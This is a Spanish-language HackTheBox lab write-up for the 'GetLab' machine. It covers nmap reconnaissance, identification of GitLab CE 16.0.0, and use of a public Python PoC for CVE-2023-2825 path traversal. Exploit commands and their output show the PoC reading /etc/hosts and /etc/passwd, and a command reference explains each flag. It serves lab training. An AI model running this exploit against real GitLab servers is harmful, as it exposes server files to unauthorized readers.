GETLAB

// GitLab 16.0.0 · CVE-2023-2825 → lectura arbitraria de archivos con un PoC en Python

● MUY FÁCIL HACKTHEBOX LINUX GITLAB 16.0.0 CVE-2023-2825 NMAP 📅 Octubre 2026 · Por Brandeiks

Reconocimiento

1
COMPROBACIÓN DE CONECTIVIDAD
BASH
$ ping 10.129.229.69 -c 3
PING 10.129.229.69 (10.129.229.69) 56(84) bytes of data.
64 bytes from 10.129.229.69: icmp_seq=1 ttl=63 time=118 ms
64 bytes from 10.129.229.69: icmp_seq=2 ttl=63 time=121 ms
64 bytes from 10.129.229.69: icmp_seq=3 ttl=63 time=118 ms
--- 10.129.229.69 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 118.077/118.998/120.661/1.178 ms

// NOTA

El ttl=63 es la huella de un sistema Linux (que parte de 64) con un salto de red menos: lo normal es que la respuesta atraviese un router (en este caso, seguramente la VPN de HackTheBox). Confirmada la conectividad, toca enumerar puertos.

2
ESCANEO DE PUERTOS
BASH
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 10.129.229.69 -oX getlab.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-22 11:21 -0400
Nmap scan report for 10.129.229.69
Host is up (0.19s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: [3 claves: RSA 3072, ECDSA 256, ED25519 256; salida recortada]
80/tcp open http nginx
| http-title: Sign in · GitLab
| Requested resource was http://10.129.229.69/users/sign_in
| http-robots.txt: 57 disallowed entries (15 shown)
| / /autocomplete/users /autocomplete/projects /search
| /admin /profile /dashboard /users /api/v* /help /s/ /-/profile
| /-/ide/ /-/experiment /*/new
8060/tcp open http nginx 1.20.2
|_http-title: 404 Not Found
9094/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 55.26 seconds

// NOTA

El puerto 80 es la pieza que importa: nginx sirve una instancia de GitLab (el título de la página y las rutas de robots.txt lo delatan). El 22 es SSH, pero sin credenciales no sirve de entrada. El 8060 solo devuelve un 404 y el 9094 no se identifica, así que los dejamos para más adelante.

3
INFORME NMAP LEGIBLE
BASH
$ xsltproc /usr/share/nmap/nmap.xsl getlab.xml > getlab.html

// NOTA

Es opcional, pero convierte el XML en un informe HTML cómodo de leer en el navegador, con los puertos y los scripts ordenados por servicio.

Enumeración web y CVE

4
PANTALLA DE LOGIN DE GITLAB

En http://10.129.229.69/ aparece el inicio de sesión de GitLab Community Edition. Lo importante no es el login, sino el enlace «Don't have an account yet? Register now»: la instancia permite registrarse sin invitación, y esa es la condición que necesita el exploit.

5
CREAR UNA CUENTA DE PRUEBA

Nos registramos con un nombre cualquiera, el usuario prueba (disponible) y la contraseña password.123, que es la que usa el PoC más adelante. El correo puede ser cualquiera.

// NOTA

Es una cuenta desechable de laboratorio. El PoC la necesita para crear grupos, proyectos y adjuntos, así que no hace falta ningún privilegio extra.

6
VERSIÓN DE GITLAB EN /HELP

La página de ayuda de GitLab (ruta /help) muestra su versión exacta:

GitLab Community Edition v16.0.0

// VERSIÓN AFECTADA

GitLab CE 16.0.0 es la versión que el PoC del CVE-2023-2825 declara como vulnerable. La versión exacta es el dato clave: con ella, el CVE y su PoC encajan sin más pruebas.

Preparación del PoC

7
CLONAR EL PoC PÚBLICO

Usamos el repositorio CVE-2023-2825-PoC. Según su descripción, el script inicia sesión con una cuenta válida, crea la estructura de grupos públicos anidados, crea un proyecto público, sube un adjunto y aprovecha la ruta de subida vulnerable para leer un archivo del servidor. También admite reutilizar una ruta de subida ya existente.

GIT
$ git clone https://github.com/Groppoxx/CVE-2023-2825-PoC.git
Cloning into 'CVE-2023-2825-PoC'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 9 (delta 0), reused 5 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (9/9), 7.82 KiB | 7.82 MiB/s, done.
8
ENTORNO VIRTUAL Y DEPENDENCIAS

Si intentamos pip install directamente, Kali rechaza la instalación con externally-managed-environment (PEP 668). En lugar de forzarla con --break-system-packages, creamos un entorno virtual: es la opción limpia.

PIP
$ cd CVE-2023-2825-PoC
$ python3 -m venv venv
$ source venv/bin/activate
(venv) $ pip install -r requirements.txt
Successfully installed beautifulsoup4 certifi charset_normalizer idna requests soupsieve typing_extensions urllib3 [versiones recortadas]

// NOTA

El prompt (venv) confirma que pip instala dentro del entorno y no toca el Python del sistema. Hay que activar el venv en cada terminal nueva antes de lanzar el script.

Explotación

9
PRIMERA EJECUCIÓN: LEER /etc/hosts

La primera ejecución hace todo el trabajo: crea los grupos, el proyecto y el adjunto, y después lee el archivo que pedimos. Probamos con /etc/hosts porque es pequeño y confirma que la lectura funciona:

EXPLOIT
(venv)$ python3 cve_2023_2825.py \
--url http://10.129.229.69 \
--username prueba \
--password 'password.123' \
--file /etc/hosts
[*] Getting CSRF token
[+] CSRF token found
[*] Logging in as prueba
[+] Login successful
[*] Creating 11 nested public groups
[+] Created group: O1K-1 … hasta O1K-11
[*] Creating public project
[+] Created project: /O1K-1/O1K-2/…/O1K-11/poc-5pv75h6z
[*] Uploading attachment
[+] Uploaded file: /uploads/f2b044ff38dd5363fdabbca424c574fd/poc.txt
[+] Reusable upload path: /O1K-1/O1K-2/…/O1K-11/poc-5pv75h6z/uploads/f2b044ff38dd5363fdabbca424c574fd/
[*] Reading file: /etc/hosts
[+] Content of /etc/hosts
127.0.0.1 localhost
127.0.1.1 getlab.htb getlab
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

// RUTA REUTILIZABLE

La línea Reusable upload path es la clave del PoC: guarda la ruta del adjunto que acabamos de subir. Las rutas (O1K-…, poc-… y el hash) son las de mi ejecución; en cada máquina cambian, así que hay que copiar la que imprima la tuya. Además, /etc/hosts ya revela el nombre getlab.htb.

10
REUTILIZAR LA RUTA: LEER /etc/hosts DE NUEVO

Con --reuse-path el script se salta la creación de grupos, proyecto y adjunto, y lee directamente desde la ruta guardada. Es mucho más rápido para leer varios archivos seguidos:

EXPLOIT
(venv)$ python3 cve_2023_2825.py \
--url http://10.129.229.69 \
--reuse-path '/O1K-1/…/O1K-11/poc-5pv75h6z/uploads/f2b044ff38dd5363fdabbca424c574fd/' \
--file /etc/hosts
[*] Using existing upload path
[*] Reading file: /etc/hosts
[+] Content of /etc/hosts
127.0.0.1 localhost
127.0.1.1 getlab.htb getlab
[…]
11
LECTURA DE /etc/passwd

Con la ruta reutilizable ya comprobada, pedimos /etc/passwd: la lista de usuarios del sistema con su shell de inicio.

EXPLOIT
(venv)$ python3 cve_2023_2825.py \
--url http://10.129.229.69 \
--reuse-path '/O1K-1/…/O1K-11/poc-5pv75h6z/uploads/f2b044ff38dd5363fdabbca424c574fd/' \
--file /etc/passwd
[*] Using existing upload path
[*] Reading file: /etc/passwd
[+] Content of /etc/passwd
root:x:0:0:root:/root:/bin/bash
[…]
sam:x:1000:1000:,,,:/home/sam:/bin/bash
[…]

// LECTURA ARBITRARIA DE ARCHIVOS

Dónde: la ruta de subida de adjuntos de GitLab, que el PoC hace atravesar hasta la raíz del sistema (path traversal).
Qué permite: leer cualquier archivo al que tenga acceso el usuario que ejecuta GitLab, con cualquier cuenta registrada y sin privilegios de administrador.
Resultado: /etc/passwd confirma los usuarios reales de la máquina, entre ellos root y sam (uid 1000, con shell /bin/bash).

Con esto queda demostrada la vulnerabilidad: el servidor entrega archivos del sistema a cualquier cuenta registrada.

// ALCANCE DEL WRITEUP

Este writeup documenta el reconocimiento, la identificación de GitLab 16.0.0 y la demostración del CVE-2023-2825: la lectura de archivos del servidor con el PoC, hasta /etc/passwd. El resto de la máquina no forma parte de esta publicación.

// NOTA

El PoC crea 11 grupos anidados antes del proyecto. Según su diseño, esa profundidad de ruta es lo que le permite recorrer directorios hacia arriba hasta la raíz del servidor: sin ella, la lectura no llega a /etc/passwd.

Referencia Comandos

ping
ping <IP> -c 3
Comprueba que la máquina responde antes de escanear. El TTL de la respuesta sugiere el sistema operativo.
  • -c 3 → envía 3 paquetes ICMP y termina.
nmap
sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP> -oX salida.xml
Escaneo completo de puertos con detección de versiones y scripts. Así aparecen el SSH (22) y el GitLab sobre nginx (80).
  • -p- → Escanea los 65535 puertos TCP.
  • -sS → Escaneo SYN ("half-open"), rápido y discreto.
  • -sC → Lanza los scripts por defecto de nmap (NSE).
  • -sV → Detecta la versión exacta de cada servicio.
  • -n → No resuelve DNS.
  • -Pn → Trata el host como activo, sin ping previo.
  • --min-rate=5000 → Envía al menos 5000 paquetes por segundo.
  • --open → Muestra solo los puertos abiertos.
  • -oX → Guarda el resultado en XML.
xsltproc
xsltproc /usr/share/nmap/nmap.xsl salida.xml > salida.html
Transforma el XML de nmap en un informe HTML legible en el navegador.
  • nmap.xsl → Hoja de estilo oficial que da formato al informe.
python3 -m venv
python3 -m venv venv && source venv/bin/activate
Crea un entorno Python aislado donde instalar dependencias sin tocar el sistema. Es la alternativa limpia a --break-system-packages.
  • -m venv → Ejecuta el módulo que crea el entorno.
  • source venv/bin/activate → Activa el entorno en la terminal actual.
  • pip install -r requirements.txt → Instala las dependencias del PoC dentro del entorno.
cve_2023_2825.py
python3 cve_2023_2825.py --url <URL> --username <u> --password <p> --file <ruta>
Explota el CVE-2023-2825 para leer un archivo del servidor. La primera vez crea la estructura; después se reutiliza.
  • --url → Dirección de la instancia de GitLab.
  • --username / --password → Cuenta registrada en la instancia.
  • --file → Archivo del servidor que queremos leer.
  • --reuse-path → Ruta de subida ya creada, para no repetir el proceso.

Glosario

GitLab
Plataforma para alojar repositorios Git con wiki, incidencias e integración continua. Su edición Community es gratuita y autohospedable, y está escrita en Ruby on Rails.
CVE-2023-2825
Vulnerabilidad de lectura arbitraria de archivos en GitLab CE/EE 16.0.0, causada por un path traversal en la ruta de los adjuntos. Permite leer ficheros del servidor con los permisos del usuario que ejecuta GitLab.
Path traversal
Técnica que usa secuencias como ../ para salir del directorio previsto y acceder a rutas arbitrarias del sistema de ficheros. Es una de las vulnerabilidades más comunes en aplicaciones web con subida o lectura de archivos.
Registro público (self-registration)
Opción que permite crear cuentas sin invitación ni aprobación de un administrador. En esta máquina es la condición previa del exploit: sin cuenta, el PoC no puede crear proyectos ni adjuntos.
PoC — Proof of Concept
Código que demuestra que una vulnerabilidad es explotable. Antes de ejecutar un PoC ajeno contra cualquier objetivo conviene leerlo: decide qué peticiones envía y con qué datos.
Entorno virtual (venv)
Directorio con un intérprete de Python y sus propias dependencias, aislado del sistema. Es la práctica recomendada para instalar paquetes de un PoC sin modificar el Python de Kali.
PEP 668 — externally-managed-environment
Marcador que impide a pip instalar paquetes en el Python gestionado por el sistema operativo. Kali lo aplica, por eso el error aparece al instalar sin entorno virtual.
nginx
Servidor web y proxy inverso. En esta máquina sirve GitLab en el puerto 80 y responde también en el 8060, según indica el escaneo.

// RELACIONADOS POR ETIQUETAS